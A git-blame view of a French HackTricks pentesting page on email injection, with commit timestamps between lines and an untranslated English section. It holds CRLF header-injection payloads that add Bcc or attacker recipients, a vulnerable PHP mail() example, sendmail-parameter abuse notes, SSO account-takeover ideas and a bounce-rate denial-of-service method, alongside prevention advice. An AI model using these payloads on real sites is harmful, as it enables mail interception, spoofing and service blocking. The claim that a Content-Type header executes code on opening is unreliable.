hacktricks/pentesting-web/email-injections.md

212 lines
13 KiB
Markdown
Raw Normal View History

# Injections d'e-mails
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer facilement et **automatiser des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
Accédez dès aujourd'hui :
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
## Injecter dans l'e-mail envoyé
2023-06-03 13:10:46 +00:00
### Injecter Cc et Bcc après l'argument de l'expéditeur
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
2023-06-03 13:10:46 +00:00
### Injecter un argument
L'argument sera injecté dans les comptes du destinataire et du destinataire1.
2021-11-27 01:09:08 +00:00
```
From:sender@domain.com%0ATo:attacker@domain.com
```
Le message sera envoyé au destinataire d'origine ainsi qu'au compte de l'attaquant.
### Injecter l'argument du sujet
2023-06-03 13:10:46 +00:00
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
Le sujet factice sera ajouté au sujet original et dans certains cas, le remplacera. Cela dépend du comportement du service de messagerie.
2023-06-03 13:10:46 +00:00
### Modifier le corps du message
Injectez un saut de ligne à deux lignes, puis écrivez votre message pour modifier le corps du message.
2021-11-27 01:09:08 +00:00
```
2023-06-03 13:10:46 +00:00
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
2023-06-03 13:10:46 +00:00
### Exploitation de la fonction mail() de PHP
The `mail()` function in PHP is commonly used to send emails from a web application. However, if not properly secured, it can be vulnerable to email injection attacks. Email injection occurs when an attacker is able to manipulate the email headers and inject malicious content into the email.
#### How email injection works
Email injection attacks typically occur when user-supplied data is directly concatenated into the email headers without proper sanitization or validation. This allows an attacker to insert additional headers or modify existing ones.
2023-06-03 13:10:46 +00:00
For example, consider the following vulnerable code:
2023-06-03 13:10:46 +00:00
```php
$to = $_POST['email'];
2023-06-03 13:10:46 +00:00
$subject = $_POST['subject'];
$message = $_POST['message'];
$headers = "From: " . $_POST['from'] . "\r\n";
$headers .= "Reply-To: " . $_POST['reply-to'] . "\r\n";
2023-06-03 13:10:46 +00:00
mail($to, $subject, $message, $headers);
2021-11-27 01:09:08 +00:00
```
In this code, the values of `$_POST['from']` and `$_POST['reply-to']` are directly concatenated into the `$headers` variable without any validation. An attacker can exploit this by injecting additional headers or modifying existing ones.
#### Exploiting email injection
To exploit email injection, an attacker can craft a malicious payload that includes additional headers or modifies existing ones. For example, an attacker can inject a `Bcc` header to secretly send a copy of the email to themselves or inject a `Content-Type` header to execute malicious code when the email is opened.
Here's an example of an email injection payload:
```
from: attacker@example.com\r\n
reply-to: victim@example.com\r\n
bcc: attacker@example.com\r\n
Content-Type: text/html\r\n
This is a malicious email.
```
When this payload is injected into the vulnerable code, the email will be sent with the additional headers, allowing the attacker to secretly receive a copy of the email and potentially execute malicious code.
2023-06-03 13:10:46 +00:00
#### Prevention
2021-11-27 01:09:08 +00:00
To prevent email injection attacks, it is important to properly sanitize and validate user-supplied data before using it in email headers. Here are some best practices:
2023-06-03 13:10:46 +00:00
- Use proper input validation and sanitization techniques to ensure that user-supplied data does not contain any malicious content.
- Use a secure email library or framework that automatically handles email header injection vulnerabilities.
- If concatenating user-supplied data into email headers, make sure to properly sanitize and validate the data. Use functions like `filter_var()` or regular expressions to ensure that the data conforms to the expected format.
- Avoid using user-supplied data directly in email headers whenever possible. Instead, use separate variables or constants to store the header values.
- Regularly update and patch your PHP installation to ensure that you are using the latest secure version.
By following these best practices, you can protect your web application from email injection attacks and ensure the security of your email communications.
2021-11-27 01:09:08 +00:00
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
2021-11-27 01:09:08 +00:00
}
```
2023-06-03 13:10:46 +00:00
#### Le 5ème paramètre ($additional\_parameters)
2021-11-27 01:09:08 +00:00
Cette section va se baser sur **comment exploiter ce paramètre en supposant que l'attaquant le contrôle**.
2021-11-27 01:09:08 +00:00
Ce paramètre va être ajouté à la ligne de commande que PHP va utiliser pour invoquer le binaire sendmail. Cependant, il sera nettoyé avec la fonction `escapeshellcmd($additional_parameters)`.
2021-11-27 01:09:08 +00:00
2023-06-03 13:10:46 +00:00
Un attaquant peut **injecter des paramètres supplémentaires pour sendmail** dans ce cas.
2021-11-27 01:09:08 +00:00
#### Différences dans l'implémentation de /usr/sbin/sendmail
2021-11-27 01:09:08 +00:00
L'interface **sendmail** est **fournie par le logiciel de messagerie MTA** (Sendmail, Postfix, Exim, etc.) installé sur le système. Bien que la **fonctionnalité de base** (comme les paramètres -t -i -f) reste **la même** pour des raisons de compatibilité, **d'autres fonctions et paramètres** varient considérablement en fonction du MTA installé.
2021-11-27 01:09:08 +00:00
2023-06-03 13:10:46 +00:00
Voici quelques exemples de différentes pages de manuel de la commande/interface sendmail :
2021-11-27 01:09:08 +00:00
2023-06-03 13:10:46 +00:00
* Sendmail MTA : http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA : http://www.postfix.org/mailq.1.html
* Exim MTA : https://linux.die.net/man/8/eximReferences
2021-11-27 01:09:08 +00:00
Selon l'**origine du binaire sendmail**, différentes options ont été découvertes pour les exploiter et **exfiltrer des fichiers ou même exécuter des commandes arbitraires**. Découvrez comment dans [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
2021-11-27 01:09:08 +00:00
2023-06-03 13:10:46 +00:00
## Injection dans le nom de l'e-mail
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
### Parties ignorées d'un e-mail
2022-12-29 12:18:46 +00:00
Les symboles : **+, -** et **{}** peuvent parfois être utilisés pour le marquage et ignorés par la plupart des serveurs de messagerie
2022-12-29 12:18:46 +00:00
* Par exemple : john.doe+intigriti@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
Les **commentaires entre parenthèses ()** au début ou à la fin seront également ignorés
2022-12-29 12:18:46 +00:00
* Par exemple : john.doe(intigriti)@example.com → john.doe@example.com
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
### Contournement de la liste blanche
2022-12-29 12:18:46 +00:00
2023-01-04 14:57:03 +00:00
<figure><img src="../.gitbook/assets/image (4) (6).png" alt=""><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
### Guillemets
2022-12-29 12:18:46 +00:00
<figure><img src="../.gitbook/assets/image (6) (4).png" alt=""><figcaption></figcaption></figure>
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
### Adresses IP
2022-12-29 12:18:46 +00:00
Vous pouvez également utiliser des adresses IP comme noms de domaine entre crochets :
2022-12-29 12:18:46 +00:00
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
2023-06-03 13:10:46 +00:00
### Autres vulnérabilités
2022-12-29 12:18:46 +00:00
![](<../.gitbook/assets/image (296).png>)
2023-06-03 13:10:46 +00:00
## SSO tiers
2022-12-29 12:18:46 +00:00
### XSS
Certains services comme **github** ou **salesforce vous permettent de créer une **adresse e-mail avec des charges XSS**. Si vous pouvez **utiliser ces fournisseurs pour vous connecter à d'autres services** et que ces services ne **nettoient pas correctement** l'e-mail, vous pourriez provoquer une **XSS**.
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
### Prise de contrôle de compte
2022-12-29 12:18:46 +00:00
Si un **service SSO** vous permet de **créer un compte sans vérifier l'adresse e-mail fournie** (comme **salesforce**) et que vous pouvez ensuite utiliser ce compte pour **vous connecter à un autre service** qui **fait confiance** à salesforce, vous pourriez accéder à n'importe quel compte.\
Notez que salesforce indique si l'e-mail fourni a été vérifié ou non, mais l'application devrait prendre en compte cette information.
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
## Répondre à
2022-12-29 12:18:46 +00:00
Vous pouvez envoyer un e-mail en utilisant _**From: company.com**_\*\* \*\* et _**Replay-To: attacker.com**_ et si une **réponse automatique** est envoyée en raison de l'envoi de l'e-mail **à partir** d'une **adresse interne**, l'**attaquant** pourrait être en mesure de **recevoir** cette **réponse**.
2022-12-29 12:18:46 +00:00
## Taux de rebond élevé
2022-12-29 12:18:46 +00:00
Certaines applications comme AWS ont un **taux de rebond élevé** (chez AWS, il est de 10%), ce qui signifie que lorsque le service de messagerie est surchargé, le service d'e-mails est bloqué.
2022-12-29 12:18:46 +00:00
Un **rebond dur** est un **e-mail** qui n'a pas pu être livré pour des raisons permanentes. Peut-être que l'**adresse e-mail** est fausse, peut-être que le domaine de l'**e-mail** n'est pas un vrai domaine, ou peut-être que le serveur du destinataire de l'**e-mail** n'accepte pas les **e-mails**), cela signifie que sur un total de 1000 e-mails, si 100 d'entre eux étaient faux ou invalides et ont tous rebondi, **AWS SES** bloquera votre service.
2022-12-29 12:18:46 +00:00
Ainsi, si vous êtes capable d'**envoyer des e-mails (peut-être des invitations)** depuis l'application web vers n'importe quelle adresse e-mail, vous pourriez provoquer ce blocage en envoyant des centaines d'invitations à des utilisateurs et des domaines inexistants : **Déni de service du service de messagerie**.
2022-12-29 12:18:46 +00:00
2023-06-03 13:10:46 +00:00
## Références
2021-11-27 01:09:08 +00:00
2022-12-29 12:18:46 +00:00
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou vous voulez avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
2023-06-03 13:10:46 +00:00
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
2023-06-03 13:10:46 +00:00
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement** des flux de travail alimentés par les outils communautaires les plus avancés au monde.\
Obtenez un accès aujourd'hui :
2022-04-28 16:01:33 +00:00
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}